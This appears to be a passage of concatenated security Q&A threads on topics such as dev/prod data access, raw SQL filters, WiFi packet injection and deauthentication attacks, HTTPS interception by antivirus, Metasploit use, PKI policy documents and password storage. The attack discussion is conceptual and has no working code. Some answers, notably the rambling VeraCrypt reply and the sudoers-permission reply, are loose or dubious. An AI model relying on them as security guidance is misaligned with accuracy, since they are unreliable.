Is reading from prod to dev a security concern? We have two environments, both of which have access to the same data sources.  However, prod is locked down (reasonably so) while dev can be written/read by developers.

Data flows from the source through the ETL process and end up in various places.  Usually mirrored in folder structure.  I would like access to an intermediary dataset to do some development.  The Security expert on our team claims its a security concern to allow me to copy from prod to dev. (Not modify prod)

I'm not a security expert, but in this case it seems like there is very little security risk since the data is allowed in both places, it just much more of it exists in prod than in dev.  Can someone clarify why this is such a big concern?

I don't think it's possible to answer this generally.  But I can think of some things that MIGHT be valid.

Prod has data in it that should only be viewed by certain people.
Since prod normally feeds dev, the "secret data" would have to be mitigated in some way before it gets to dev, or the data itself is time sensitive.  If it's not, then the only difference between prod and dev is dev is generally older.
Prod has sensitive usernames/passwords/configuration items that
shouldn't be given to developers.

At the least though, your security expert should be able to identify the REASON behind the security concern rather than you having to guess at them.  If he's not, he's simply using his authority unreasonably, and not working towards a solution that meets everyones needs.


Where can I find resources to help me implement a key server? I would like to implement a fairly basic but nonetheless robust key server for generating and managing symmetric encryption keys. Are there guidelines or best practices out there that I should peruse? What about open-source key servers? Thanks much.

Try to use industry standards for key servers and key management. If you try to roll your own at any level, there's a good chance there'll be a weak link at some point which compromises the lot.

NIST have excellent resource for key management in Special Publication 800-57. That's split into 3 parts so have a look for it on Google.

PGP is excellent for asymmetric encryption and there are a number of papers on configuring a PGP server. However, your question asked about symmetric encryption...

The only open source key server I've come across for symmetric encryption key management is StrongAuth's StrongKey Lite Encryption System. You can also use encryption libraries such as mcrypt, Java key store etc but it's always the key management which could expose a weakness. Also, at some point in the code you're going to store the encryption key in plain text...


Allowing users to input raw SQL in update statement safely I'm building an application and I have some very, very advanced users who can come up with endless filters they want. They know SQL so in the end gave them some of the filters and said in the bottom of the screen you can have your custom filter, where you can write your own filter in SQL. And they where pleased. So my question is what checks do I have to perform to be sure that they can't ruin the database. There is no confidencial information and no passwords since these are performed with single sign on.

The surrounding query where they can inject SQL looks like this:

UPDATE table
SET col_a = val_b
WHERE {potentially some other filters}
AND {injected SQL};

I currently don't allow ;, but what else should don't allow? I'm using a postgres database and python using psycopg2.

Restricted user accounts

Sanitizing such a query securely may be very, very hard and you should expect that you might have failed in some way which allows the users to execute arbitrary sql.

A possible mitigation for this would be severely restricted user accounts - you need to ensure that the connection under which these queries are executed is run under a user account which can access only the specific tables which you expect to be used, and can modify only the specific table which is expected to be updated.  It may be that this needs to be a different database user account (and a different connection) than what the rest of the system runs on.


Route traffic from iPhone to desktop and back I have some iOS app to pentest, and the target server is accessible only through the jailbroken iPhone's APN. My problem is, that I want to configure the traffic in such way so I can intercept and tamper HTTP request / responses in my desktop using Burp, and route them back to iPhone:

iPhone → Burp → iPhone → Server

Should I install HTTP proxy on the iPhone, or is there another way of doing this?

I maybe completely wrong because I don't have a phone to test it, but if your computer provided a WiFi access point, then the phone would route to it. If you tethered your computer back to your phone, I believe all tethered traffic goes over the cellular side. If that works, then you have a nice circular route without any need to be jailbroken.

Since you are jailbroken anyway, though, you can accomplish the same thing by using pf with the route-to filter to force traffic from the PC to the outside interface. Appropriately modify the commands found at http://www.openbsd.org/faq/pf/pools.html#outgoing


How does a code signing vender charge for creating certificate chains? I have a question about creating digital signatures for pdf files.
I want to have a certificate for my company and have children certificates as many as the number of company's employees who can validate their signatures in pdf files.

If I have a company certificate signed by, e.g., Verisign, can I use that certificate to generate chain certificates (i.e., ones for employees) by myself?

In this case, how does Verisign charge for the signing service?
Just one  license for the company certificate or as many licenses as the number of our employees?

When you get your certificate signed one of the "Features" that can be enabled or disabled is if your certificate can sign other certificates. Public CA's never sign certificates with that bit set. If it was set you could just sign a cert for mail.google.com and it would appear to be perfectly valid for everyone on the internet.

Your only two options is to have your root CA that your corporation runs be trusted by the party you are sending the PDF's to, or have the PDFs signed by a certificate that is assigned to your corporation and signed by a trusted 3rd party CA.


Is using weak login credentials always bad? I am currently using 9 digit numbers to authenticate writers on two apps. In the first app, this unlocks editing tools for use in making content rich dhtml documents which are stored on the local machine by default. With the second app, it opens up create/edit/delete functionality for content items (meant for low security, non-personal content) stored in a DB. But in this app all changes are versioned, so in the case of a malicious user it is just a question or reverting to the previous good version.

To summarize, I'm using weak credentials for access to limited functionality to two apps meant to be used with fairly open & shared information. And my credential system could always be hardened sometime down the road as the app requirements warrant.

So my question is for those with deep knowledge and experience in computer security: Is this a mistake? What is there to look out for that I'm probably not aware of? Am I going to regret not using stronger credentials later on?

You need to assess the impact of an attack considering at least three aspects: confidentiality, availability, integrity. Here are some points to consider:

Confidentiality: what's the damage if an attacker can see the private data that is protected by your password? Is it personal data? Are there any trade secrets?
Availability: can an attacker make the password-protected data unavailable, either temporarily or permanently? What's the damage if that happens? How much time and money are you going to lose to make your service available again?
Integrity: can an attacker corrupt the password-protected data so that you won't notice it? Can an attacker harm your reputation by modifying the data, or harm your business anyway? Can an attacker insert malware in your data (that you will end up executing because you trust your data)?
Other: are you sure that a stolen password will not lead to further attacks in other areas, for example because of related APIs or services, or password reuse, or social engineering, or other vulnerabilities that would not be exploitable without accessing the private area?

Then ask yourself: what's the cost of adding a few more characters to my insecure passwords? It should not cost you anything. So if you can avoid trouble by making your passwords stronger, then do make them stronger.

That said, strong passwords are not always necessary. For example, you don't need a 16-character random password to protect your Google account. Why? Because Google won't allow bruteforcing the password anyway (they will limit failed attempts, ask for confirmation by sending an SMS, etc.). If you have good protections against bruteforcing, and maybe you also use 2FA, you don't really need a strong password. As long as you don't reuse your password anywhere else, of course. Even the strongest passwords in the universe won't be secure if you are reusing them everywhere.


GPU passthrough security How secure is the host operating system from the guest virtual machine's OS when using GPU passthrough (using the methods described here)?

If the guest is compromised, can it permanently infect the GPU and its firmware? If it's possible, what could this compromised GPU do?

Even though VT-d/IOMMU is designed to securely contain devices to the
virtual machine, could the guest use the GPU to compromise the host
(OS or any other devices)?
If the GPU is suspected compromised, what should be the ideal course
of action? If the computer's host OS is reinstalled, would the GPU be
able to attack and infect it?
(Moved to separate question)

I'm looking for a general answer, but if it's relevant, assume Linux
host with KVM and Windows guest.

If the guest is compromised, can it permanently infect the GPU and its
  firmware?

According to OpenStack documentation, yes.

  Many hypervisors offer a functionality known as PCI passthrough. This
  allows an instance to have direct access to a piece of hardware on the
  node. For example, this could be used to allow instances to access
  video cards or GPUs offering the compute unified device architecture
  (CUDA) for high performance computation.

  This feature carries two types of security risks: direct memory access
  and hardware infection.

Direct memory access is only relevant to device passthrough not using IOMMU.

  Even though VT-d/IOMMU is designed to securely contain devices to the
  virtual machine, could the guest use the GPU to compromise the host
  (OS or any other devices)?

Possibly, if the device is used by the host.

  A hardware infection occurs when an instance makes a malicious
  modification to the firmware or some other part of a device. As this
  device is used by other instances or the host OS, the malicious code
  can spread into those systems. The end result is that one instance can
  run code outside of its security domain. This is a significant breach
  as it is harder to reset the state of physical hardware than virtual
  hardware, and can lead to additional exposure such as access to the
  management network.


Securely deleting files from inside a Veracrypt volume My question relates to this old thread on the Veracrypt forum (I didn't get any response when I posted there, so here I am):

https://sourceforge.net/p/veracrypt/discussion/general/thread/bf48efbd/

I wanted to clarify my understanding of what was said in the above thread:

(1) If a Veracrypt volume is mounted, and I permanently delete (shift-del) a file from inside that volume, and the volume stays mounted, someone (with the right tools) can recover the deleted file from the hard drive just as they would be able to do with a file deleted from a normal, unencrypted hard drive.

(2) If a Veracrypt volume is mounted, and I permanently delete (shift-del) a file from inside that volume, and then the volume is dismounted, someone cannot recover the deleted file from the hard drive the way they would be able to do in (1) above . . . but they may still be able to exploit data leaks to recover the contents of the file in a different way.

Is this correct?

Thanks!

The key part of your question is the answer: "... someone (with the right tools) ...".

Can someone steal the drive, open it and retrieve the Data by ANY means. Can they just plug it into their own Computer, create their own circuitry to access the Disk or RAM, can they use an Electron Microscope; yes.

This is the importance of the encryption method. If you took encrypted data from someone else and stored it on your Computer would someone then simply steal your Computer and be able to read the Data easily; no.

If the Drive has Hardware Encryption then the ability to access the Data provides encrypted Data, if it takes a 1000 years for them to decrypt it then you may not be concerned.

If the Data, at any time, was in an unencrypted form then it has a possibility of being read easily. In a Hardware Encrypted Drive the Data is stored protected by the Drive, hopefully the Drive has Tamper Protection too.

Deleted Encrypted Data on the Drive has a chance of being read, in it's encrypted form. It's the point where it is decrypted that it becomes vulnerable.

If you have a Spreadsheet Program (Software) that encrypts it's Data in Memory before writing it to an 'Encypting Disk Driver' (a Driver, not a Drive) which then writes to a Hardware Encrypted Drive each point in the chain takes off a layer of the onion.

It's the attacked end (in your question, the Data Storage) that will likely yield what it holds. With a Hardware Encrypted Drive the Data is encrypted.

Deleting a File should not decrypt it. It could though, the Driver for the Drive could intercept deletion requests and read the File looking for Keywords; if valuable Keywords were found the Driver could compress and encrypt the Data, sending it by WiFi to another location.

It's like you asked: with the right Tools ...

That doesn't mean everyone has such Tools or the ability to use them. Hardware Encryption and sleeping on your Laptop are sufficient for all but the most paranoid, that leaves Waterboarding; but if you don't know the Code neither will anyone else.

I think that covers everything. Questions and Solutions.


PKI: Difference between CPS and CP RFC3647 describes the difference between a CPS and a CP as follows:

  The main differences between CPs and CPSs can therefore be summarized
  as follows:

  A PKI uses a CP to establish requirements that state what participants within it must do.  A single CA or organization can use a CPS to disclose how it meets the requirements of a CP or how it implements its practices and controls.
  A CP facilitates interoperation through cross-certification,    unilateral certification, or other means.  Therefore, it is intended to cover multiple CAs.  By contrast, a CPS is a statement of a single CA or organization.  Its purpose is not to facilitate interoperation (since doing so is the function of a CP).
  A CPS is generally more detailed than a CP and specifies how the CA    meets the requirements specified in the one or more CPs under which it issues certificates.

There's one sentence that makes sense to me in the above explanation:

  A single CA or organization can use a CPS to disclose how it meets the
  requirements of a CP

If I understand that correctly, the CP sets the general requirements (e.g. you should validate domain ownership before issuing a certificate), and the CPS mentions how it does that in practice (e.g. by checking the DNS records for a token). The CP might have even given that practice as an example already.

So, as a CP and a CPS are mostly written by the same CA, it makes little sense to me to split these up. If I mention in the CP that the ownership must be validated and that this could be done by checking the DNS records for a token, then the CPS will most likely contain exactly the same information. I might be able to understand the use of having both a CPS and a CP in case a CA has separate roots which each might have a different CPS, based on the same CP.

I compared the CPS of Let's Encrypt with its CP, and I found that the CP is a little bit more generic, and addresses some topics which are not addressed in the CPS, but also the other way around.

Can someone explain what the real value of having both a CPS and a CP
is, when they are written by the same CA, and whether or not it would
be good practice to only write a CPS in that case?
Shouldn't there be a global standard CP, which can be used by all CAs to base their CPS on?

The CP describes what the requirements are. The CPS describes how those requirements are met.

For instance, the CP can require that the root CA must be configured so that it requires the presence of two persons from separate departments in order to bring it online. The CPS must then describe how this is achieved - by keeping it in a secure facility that requires two separate keys, or by requiring two separate passphrases to be entered, or by requiring two separate smartcards. If you need to change how the CA is operated, e.g. when you need to move to a new facility with different access rules, or when you change to a new operating system, you might need to rewrite the CPS but you shouldn't need to alter the CP.

Also, while both documents may be written by the same organization, i.e. the entity that runs the CA, I strongly recommend that they be written by separate parts of the organization. For a trustworthy PKI system, separation of duties is essential - and not only in operations, but also in oversight. The people who run the CA should be overseen by another department, whose job it is to set the standards and to verify that the operations follow those standards. If the same persons do both, they are effectively overseeing themselves - in other words, they have no oversight at all. As a consultant, I have sometimes been asked to write both documents, and I always recommend strongly against it. I would rather have my client bring in a competitor to do one of them, or at the very least, to verify my work, rather than risking that I be the one to write the conditions as well as fulfill them.


Store passwords in a text file… is it really much worse than a password manager? My idea:

Storing my passwords in a text file kept on Dropbox and accessed through a python script to quickly retrieve the password for the site I want to access.

My motives:

I want to be platform-independent as much as possible (currently, my passwords are stored in Safari's integrated password manager). Also I don't want to use any third party services, free or otherwise, just to store my passwords. I try to be as minimalist as possible even in my online life.

My reasoning:

Firstly, all the passwords for my core services (gmail, apple id, bank, dropbox) are long, random, and only stored offline in my brain + I use two-factor authentication on all of them. So it's not like I am devising a system that needs to keep my most prized assets. The text file would only include passwords for less important websites and services. The worst that could happen if someone were to get access to the text file is that he posts stupid questions online under my name :D …something I don't think professional hackers usually do.

Furthermore, in order to access the text file containing the passwords, you would need to get into my dropbox (which is protected by a strong password + two-factor authentication), get into my mac (which is protected by a strong password), or  access my hard disk (which is encrypted through FileVault).

Also, if someone breaks into my mac they are gonna have access to the passwords kept in safari anyway. Soooo… what am I missing?

PS: keep in my that I don't know anything about cyber security, encryption, or anything like that. I am not looking for a technical answer that I wouldn't be able to understand. Thanks.

The problem is simple: It's insecure.

You claimed that you did not have any technical expertise and did not want to be bothered with answers you would not understand, so I will not bother you with cryptography.

Simply put, you have no disadvantage of using a password manager, and you only put yourself at risk if you do not follow this advice.

If you are interested in the technical aspects as well, I will explain them as simple as I can.

When you store your password in a password manager, the passwords are not stored in plain text. They are encrypted with a strong key (called "Data Encryption Key", or "DEK" for short), which again is protected by your password that you remember (the "Key Encryption Key", or "KEK").

If an attacker steals the data of your password manager, that data alone is useless. It is indistinguishable from a random sequence of zeroes and ones.

In order to make use of the data, an attacker would need to do one of two things:

Guess the Data Encryption Key.
This is generally believed to be impossible within the lifespan of your universe. An attacker could buy all the computers there are in the world and start guessing keys, they would never find it.
Guess the Key Encryption Key.
The Key Encryption Key is the password you use to "unlock" your Password Manager. What it actually does is decrypt your Data Encryption Key, and this is done with a very, VERY slow function. The reason it is very slow is because it is designed to be slow, which means that an attacker could not make it go faster if he wanted to.

As a result, someone stealing your Password Manager database would still result in your passwords being safe, as long as you used a strong passphrase when setting it up.


How can a coffee shop block VPN connections? So I am at a coffee shop and trying to connect to my VPN (the VPN is configured just fine) but the service seems to be disabled by the coffee shop's network. How can a coffee shop block VPN connections? Are they blocking a list of known VPN IPs or are they blocking the protocol altogether?

I've also posted a question about how to get around whatever restrictions are in place.

It can be either. Technically speaking one can block

a remote IP
a remote port
a specific pattern of traffic

Even though VPN connections are encrypted and if you choose a non-descriptive IP and port, someone can still rely on the traffic pattern. This is not foolproof and heavily depends on the protocol but for instance OpenVPN is blockable this way (the way it initializes its connection (the  "handshake") is specific).

The pattern filtering is available on higher-end equipment so I would guess that  the filtering will be on the port. The blacklist is not simple to maintain so it is less likely.

It can also be that only some ports are allowed (HTTP and HTTPS usually) so anything else (including your VPN) is rejected.


Dangers of one step email subscription Recently, when I was subscribing to email newsletter on some website, I was surprised by not receiving confirmation email. Naturally I registered my mail alias to newsletter as well to verify that it was intended behavior. It was.

And it leaves me wondering - what are the dangers and downsides of not requiring subscribed users to confirm their subscription?

I can think of one possible scenario:

Attacker programatically registers thousands to millions of real emails (either from some mail database or obtained on his/her own)
Server under attack will reach point of sending a newsletter and starts sending mails
Many users gets delivered emails they did not requested

Can sending server / website be attacked this way? Under which circumstances would this result in website being blacklisted from sending emails?

Can this cause issues related to IPS/IDS-like systems deployed around source or target servers? Considering for example, that the list of targeted mails would be exclusively with @company.com domain and the attacker would like to compromise attacked website/server's ability to deliver emails to the mentioned company? Attacker would execute the attack, and company.com's servers would blacklist mailserver/domain from which mails are coming. Is it a possibility to be considered?

And lastly - can you think of other security issues this could introduce?

I see one of the possible inconveniences in a situation when company's newsletter can't be unsubscribed. An attacker programmatically subscribes many real users. The company sends its newsletter to subscribed users as usual. Some of the users who did not subscribe themselves might unsubscribe using the proper link included in the newsletter. Some might just move the message to spam. The attacker could then (periodically) make sure all the targeted users have subscribed again.

But I'm not sure about the efficiency of such attack and how likely it could cause real legal consequences for the attacked company. Nevertheless, the company could end up sending quite a lot of spam.


What is the need and purpose of packet injection within WiFi attacks According to my research, the most common WPA/WPA2 WiFi attack requires a chipset capable of packet injection.

However I am not sure what this is, and what purpose it serves once you have the capability to inject packets.

I thought that all WiFi chipsets could send/receive data, and assumed packet injection would come under the sending protocol(whatever that may be) - but I must be missing something as only certain cards can apparently inject packets.

Wireless networks work in predefined modes which have specific functionality but also come with strict functional restrictions. Wireless attacks require a higher control over the lower layers of communication in order to send and receive any kind of data.
When you are in the default mode (Station Infrastructure Mode), you have to follow strict rules imposed by that mode, you can't even directly talk to a different client in default mode. So, for more control, you need Monitor mode to listen to any communication in the air. But Monitor mode (if supported by your hardware, chipset, firmware, driver, driver hack and OS wrapper) doesn't standardly allow you to send data. This is where packet injection comes in.
Packet injection means sending data while in Monitor mode because it's a passive-only mode (Source: wireless.kernel.org).
Sending and receiving management and control frames is necessary for impersonating base stations and clients, and for listening to frames that are meant for specific adapters.
The dreadful deauthentication frame, apart from the DoS it can cause, it's the first stage in a multi-stage attack. It can be used to capture the WPA 4-way handshake or to force a user into a malicious AP, or to recover a hidden SSID, and even generate ARP frames for a WEP replay attack.
So, packet injection and monitor mode are two features that provide the much neaded low level control for attacks. And they are missing from some wireless adapters in order to restrict certain layer 2 operations for security reasons, like sniffing and spoofing frames because of poor manufacturer support, lack of open drivers, and people hacking drivers.


Avast https scanning How does Avast's https scanning feature work? Is it basically a MITM attack? This feature was enabled in the 2015 version released a few days back

To scan arbitrary HTTPS traffic, you have to do one of the following:

You add a hook in the client SSL library so that you get the outgoing data right before it gets encrypted, and the incoming data just after it has been decrypted.
You know the server's private key (and the server does not use a "DHE" cipher suite).
You run a MitM, which implies generating a fake server certificate on-the-fly, by a CA that you control and that has been installed in the "trusted CA" store of the client.

The second solution is not feasible in general (you can do that when you control the servers, but not for all servers on the Internet). The third solution is what you do in corporations and big organizations where maintaining client-side SSL hooks is cumbersome and a huge logistics problem, while doing a one-time insert of an extra root CA is easy.

A locally installed antivirus has the choice. The "hook" option is cleaner, but is specific to a given SSL library; typically, IE and Firefox do not use the same SSL implementation at all, so if Avast uses the hook method then it must hook into both implementations. The MitM method is easier to apply system-wide, and is more resilient to software updates, but it can break some functionalities (e.g. client certificates). To know which method was applied, try to connect to various HTTPS sites, and have a look at their certificate chain; if all the chains go back to a single CA that looks Avastish, then that's the MitM method. If the chains go back to various existing root CA, then that's the hook method.


How to exploit via Metasploit vulnerabilities found with Nessus? I am new in the field and trying to pentest a php web app locally stored on my host pc using metasploit from a kali vm. I have run some scanners like wmap,OpenVAS and Nessus and found some vulnerabilities but i have trouble finding the matching exploits to use in msf. I have tried 'search cve-xxxx-xxxx' and even on google using 'cve-xxxx-xxxx metasploit' etc but had no results. Are there any suggestions on how to proceed? For example a critical one found is CVE-2014-3515 however i was unable to find an exploit.

CVE is only the vulnerability report, it doesn't necessarily mean that it is exploitable. Also, we are very fortunate that even if exploitable, not all vulnerabilities have publicly available exploits, and especially ones that are available within the Metasploit framework. Otherwise we would have lots of script-kiddies running around armed and dangerous!

On the question of CVE-2014-3515 - this is something that is listed as "exploitable using common tools" - meaning that you can create a PHP script that exploits the vulnerability, e.g. you don't need specially crafted shellcode or a compiled binary. Looking at the original detailed report of the vulnerability on php.net, it is relatively easy to create an exploit, given that one has a solid understanding of the PHP programming language, which most scripties don't have. \o/


What hardware technology (GPU, FPGA) is fastest at generating RSA keys? I'm interested in generating RSA keys in rapid succession and am looking for the correct hardware to so.  I think what I'm looking for is very similar to a brute force attack on RSA keys, but my purpose is to generate keys that contain a text string when output in ASCII / BASE58 or similar forms.

I believe I need hardware that is able to multiply (determine the square of) a given value very quickly.  (I'm still learning RSA key generation, so correct me if I'm mistaken)

I'm looking at a variety of technologies such as OpenCL (for video cards etc), and possibly even FPGAs.  I don't know if any ASICs are available for this purpose, but that would be ideal if they existed.

Question

So, what hardware technologies (not products) is the fastest (and available for consumers) to generate RSA keys in rapid succession ?

This question is about economics. Otherwise, there is a simple answer: whatever system you use to generate RSA key pairs, just buy two of them and you will generate twice as many key pairs per second. So your question must be:

For a given budget, which kind of technology (GPU, FPGA) will help generate the most RSA key pairs in a given time frame ?

Then we can begin to give some answers. On the paper, the FPGA will be better. Indeed, the FPGA is reconfigurable, which means that you can make a dedicated circuit and do not have to "pay" for parts you do not need. The FPGA has a fixed overhead because of its reconfigurability: namely, you cannot clock it as high as you would with a fixed, non-reconfigurable circuit (by a factor of roughly 2 or 3). On the other hand, a GPU will come with a lot of things that you do not need for RSA key pair generation, including a lot of RAM management. The really killer point is the lack of wide multiplication in GPU: RSA is about big integers and multiplications, and it really needs multipliers which can multiply, for instance, 64-bit integers, yielding 128-bit results. A basic CPU (that from a PC) can do that. GPU are optimized for floating-point operations and will be limited to, at best, 53 bits of precision for the result.

Some people have nonetheless tried to do RSA on GPU; see for instance this article (it is about RSA private key usage, not generation, but we can consider the results as roughly applicable because RSA key pair generation is mostly primality testing, which is modular exponentiation). A GPU appears to be, very roughly, about 4 times as efficient as a CPU of comparable price.

For FPGA, there are a number of documented implementations (e.g. this one) but comparisons with GPU are hard because they do not work with the same units.

GPU are consumer electronics: they really are off-the-shelf and anybody can buy some. If you want to build a machine which generate RSA key pairs, you will get a working system in much less time by using GPU than by using FPGA; however, using basic CPU (i.e. a few PC) will get you there even much faster. If you really have a hard bandwidth goal and are ready to invest quite a lot in development, then FPGA or dedicated ASIC are the way to go. That's what Hardware Security Module vendors do.


Kerberos authentication question I was reading about kerberos authentication and how the password is not transferred on the wire but it exist in the kdc database to encrypt or decrypt messages, and only tickets are transferred after validation.  I wonder when the user changes his password at the client how will it update the new password in the kdc database?

In simple terms Kerberos is a protocol used for authenticating users on a network.

In this example the client may change their password on the client machine, which in turn is saved into the network passwords database - commonly used is Active Directory.

Kerberos protocol requires the user to authenticate first against an authentication server, in this example it would be the sever holding the active directory, commonly called a domain controller.

Once authenticated then Kerberos assigns a ticket that is used instead of the password while wishin the protocol - such as requesting service tickets.


/etc/sudoers file with permissions set to 640 instead of 0440: what does it mean? So I'm still new to GNU/Linux: recently I installed Debian 9.1 with KDE. Now after executing:

stat --format '%a' /etc/sudoers

I found out that my sudoers file has the 640 permissions instead 0440 set. I changed this by running pkexec chmod 0440 /etc/sudoers and inspected the file's contents which seem to be fine.

Now I'd like to know what could have caused these permissions to change and how problematic that is. I only read that this is a security risk.
And what does it mean: does that happen often? How to best prevent these permissions from changing? Continous monitoring of the file's permissions with immediate warnings of any change maybe? Is there a tool for this?

I'm not sure whether this question would be more appropriate here or at the Unix & Linux Stack Exchange. I'm more interested in the security-implications.

As long as the file is owned by root:root, there's no security risk.
And your changes don't even matter.

You specified that root is not allowed to write to the file.

If not root, who else...?
root can change the permission back


OpenSSL 1.1.1b warning "deprecated key derivation used" We have a homework assignment to encrypt the famous Tux.ppm using AES with ECB and CBC mode. We have to show and outline how insecure the ECB mode is...

So is there any way to ignore this warning?

*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.

To ignore it, just ignore it the way you ignore anything, by not looking at it or paying attention to it. I will consider that you want to suppress it, so it isn't there to be ignored.

On Unix and Windows (which is most of the places OpenSSL is run, though not all) use 2>/dev/null or 2>NUL: respectively to discard all error messages.
As it says, use -pbkdf2, or -iter which implies it, to do a better password-based derivation.
Use an explicit key and IV (for CBC) with -K -iv to avoid any password-based derivation.
Use a version of OpenSSL lower than 1.1.1; although 1.1.0 is off upstream support and 1.0.2 will be very soon, they are still supported to some extent (at least provided) by many packagers and distros.


Hybrid Encryption System - Is this unnecessary in this case? I have a column in my database that I need to encrypt. The column can contain any arbitrary data.

What I am thinking is to generate a public and private key pair first. Store the public key in a configuration file and store the private key securely.

After that, for each row of data that I need to encrypt,

Generate a cryptographically secure Key and IV
Encrypt the data using the generated symmetric key
Encrypt the symmetric key with the public key
Store encrypted data, IV, encrypted symmetric key in the database

When I want decrypt it back,

Decrypt symmetric key using private key
Decrypt data using decrypted symmetric key and IV

Questions

Is this asymmetric + symmetric key management needless?
Is it good enough if I just encrypt and decrypt only by using asymmetric cryptography? If the length of data is small, is it ok ?
Is storing the encrypted key in database a risk?

In both steps, encryption and decryption, your application will be accessing the keys to access the data. More so, in the decryption case you'll have to find a way to securely access the supposedly securely-stored private key.

I see no point of using asymmetric cryptography. Use symmetric crypto (AES), store that key securely, and use that key to encrypt/decrypt your data.


How can I prove that I wrote a certain blog post? I would like to be able to prove that I wrote the article that resides at a given URL on someone else's blog. Is there a way that I can do this with public key cryptography? I know a bit about the topic and I am thinking that I could:

use my private key to generate a public key which I will display on my own website for reference
use my private key, seeded with the URL of the blog, to create a new public key for each new blog URL I write on
ask the reader to verify the authenticity of my work by somehow comparing the two public keys

Am I on the right track? It's the somehow I need help with.

After the fact (and limiting the answer to viable technical solutions), there is probably no way to prove you wrote something. I will assume the content is yet to be published.

There are two parts to a reasonable "proof", the first being association of the content with
a digital identity, i.e. signing the content so that it can be verified with a recognisable and easily available public key. The second (which may not be required, depending on how paranoid you are) is proving you created it first (i.e. to prove or disprove plagiarism).
A digital signature provides integrity and authenticity (proof of sender). Proof of authorship (related to non-repudiation) is a more difficult problem to solve.

The simplest way then is with a public key solution, as you suggest: before you publish you get a trusted third party who provides a secure timestamping service to timestamp and sign a digest of your signed content. The timestamping service will use X.509 certs, you are free to use PGP or X.509 to sign your content here.

Your "provable" published data should be: the content (signed by you) and signature (if not inline), your public key or its location, the digest method, and the third party's timestamping signature (of the digest).

This question on signing code commits pretty much covers the technical details:
  https://stackoverflow.com/questions/11913228/how-can-i-use-rfc3161-trusted-timestamps-to-prove-the-age-of-commits-in-my-git

A possible problem here is how to represent your content in a canonical format so that others can verify the signature. You should consider signing the content in a format which can be downloaded "intact" and not subject to unintended reformatting or alteration by the server side blog software. Offering a PDF version of the article would be a solution, and you also have the option of using an X.509 signature and timestamp within the PDF itself (PDF).

If you're old-school, there is a free 21st century equivalent to posting yourself a copy by registered mail, which may or may not be useful, and probably has about as much legal weight (i.e. negligible):
  http://www.itconsult.co.uk/stamper.htm

There is now a similar question on Programmers.SE , one of the interesting answers involves using Bitcoin to make a sacrificial micro-payment to a non-existent address (your content hash value). Once your transaction gets onto the blockchain you have your "proof" (albeit with reduced timestamp resolution, it could take some tens of minutes).


Access Control Primitives The basic security services are: confidentiality, integrity, authentication, non-repudiation and access control. A primitive for integrity is hash functions, and for authentication is asymmetric cryptography, isn't it?

I'd like to know some Access Control Primitives. I don't know if RBAC, DAC and MAC can be called primitives.

Thank you.

There aren't any. Access control is not based on having a strong primitive that you layer everything else around (like how confidentiality and authentication are done).


Who is responsible for generating public key during secure communication? This must be easy but I am getting a little confused.
Say, facebook.com, it has a certificate which is signed by an intermediary CA.

Who generated that public key that I can see in facebook certificate? Is it generated by Facebook or that intermediary CA?
Does the public key change often or it gets modified only when the certificate expires?

["Facebook" here is just "an example of someone that wants a certificate."  There is no inherent special Facebookness about this situation.]

  Who generated that public key that I can see in facebook certificate?
  Is it generated by Facebook or that intermediary CA?

Facebook generates the "keypair" consisting of a public key and a private key.
Facebook then generates a Certificate Signing Request (CSR) which includes the public key, and send the CSR along to the CA.
The CA signs the public key based on that request and returns the signed public key (the "certificate") to Facebook.
Facebook installs the private key and the certificate on their web server, and you see that signed certificate when you ask your browser to show you the security of the connection.

  Does the public key change often or it gets modified only when the
  certificate expires?

Ideally it changes whenever the certificate expires - one could submit a new CSR using the old keypair and get a new certificate for the old public key, but that would defeat the purpose of expiring certificates, which is to ensure key turnover.

You should also be aware that many modern ciphers used with TLS, like the ECDHE variants, validate the connection using the presented public key (certificate) as described, but then spin up a new ("ephemeral") keypair on the fly and use that to actually protect the encryption.  So the certificate you see in the web browser is not the actual certificate used to protect data, and the certificate used to protect data has an exceedingly short lifetime.


Why don't very many HTTPS websites supply ownership information in their certs? Why don't very many HTTPS/SSL websites supply identity information in their certs?

Ownership information requires an actual human to look at documentation submitted and verify that it's correct; you can't automate verifying a human-level concept like ownership. If a certificate needs a human to look at and manually approve it, that costs money. Since ownership information isn't something that's very visible to users except for EV certs, and most users don't care almost all of the time, there's no reason to spend the extra money for an ownership-verifying certificate.

(edit: It's not enough for the site to just put it in a cert: for ownership verification to be done in the cert, the CA has to verify the ownership themselves; no CA is willing to sign something claiming to be a person or company unless they verify that that's actually true).


Are there tools that can prompt the user every time an executable uses system functions? As a programmer I don't use anti-virus programs for a simple reason: I found that viruses are only detected once the executable or a part thereof has been explicitly blacklisted by the anti-virus developer.

At least that is how I experienced it. When I write a simple stupid malicious program, no anti-virus program seems to be blocking it...

Now I'm wondering if there are tools that can simply place themselves as another layer on top of the operating system's API. And allow the user to create a whitelist of which function each executable may access. It would also be nice to get a pop up every time new function is called, revealing the passed arguments asking the user if the wants to grant/deny access.

So that I could for example specify which file/folder/registry/process entry can be read or modified. And also things like which devices can be used, which IP addresses can be communicated with etc.

I know such tools exist for Android (Xprivacy), but I'm curious if tools like this also exist for Windows, Linux and Mac OS X.

And I'd also like to know if there is a technical term for this kind of a tool, as I don't think it would fully fall under the category "anti-virus program" or "firewall".

First of all, antivirus software doesn't only use a signature database of complete or partial files.

This software also uses behavioral detection to protect from unknown / zero-day malware, for example by monitoring which areas it's trying to access or which files it's trying to change.

Behavioral protection is already included in the popular basic antivirus products - you don't need to get an extended internet security bundle for that.

This is why there are false positives from time to time - the more there are, the more crudely the antivirus engine is tuned.

Most of what you're looking for already exists in some products, in part or all together:

A firewall to monitor web traffic with white-listing options
Extended protection and permission management for specific files/folders or areas of your computer.

Here's an example of Bitdefender's ransomware protection feature, providing protection at boot for specific folders, which you select yourself:

Image source: Bitdefender review

Secondly, a quick google search brought me to a nifty little program called WinPatrol which seems legit enough looking at some forums and reviews:

  WinPatrol is available in a free version, which offers a handful of ways to monitor just what's going on on your PC. You can see a list of startup programs, which you can choose to disable or delay. You also can see a list of recently used programs, hidden files, file types by associated program, active tasks and services, and much more.

Source: PC World

  It gives you the opportunity to stop something that you don't want running.
  It gives you the opportunity to investigate what is running and check it you really need it.
  It's one little pet that I've relied on since Windows 95

Source: Avast forums

Check it out, this might be something you will find useful as an addition to an active antivirus protection.

Affiliation disclaimer: I'm not affiliated with WinPatrol in any way, but I work for the antivirus reviews site from which I took the image.


How to deal with biometric major flaw: non revocable identification? The major problem with biometric methods of identification is that they are
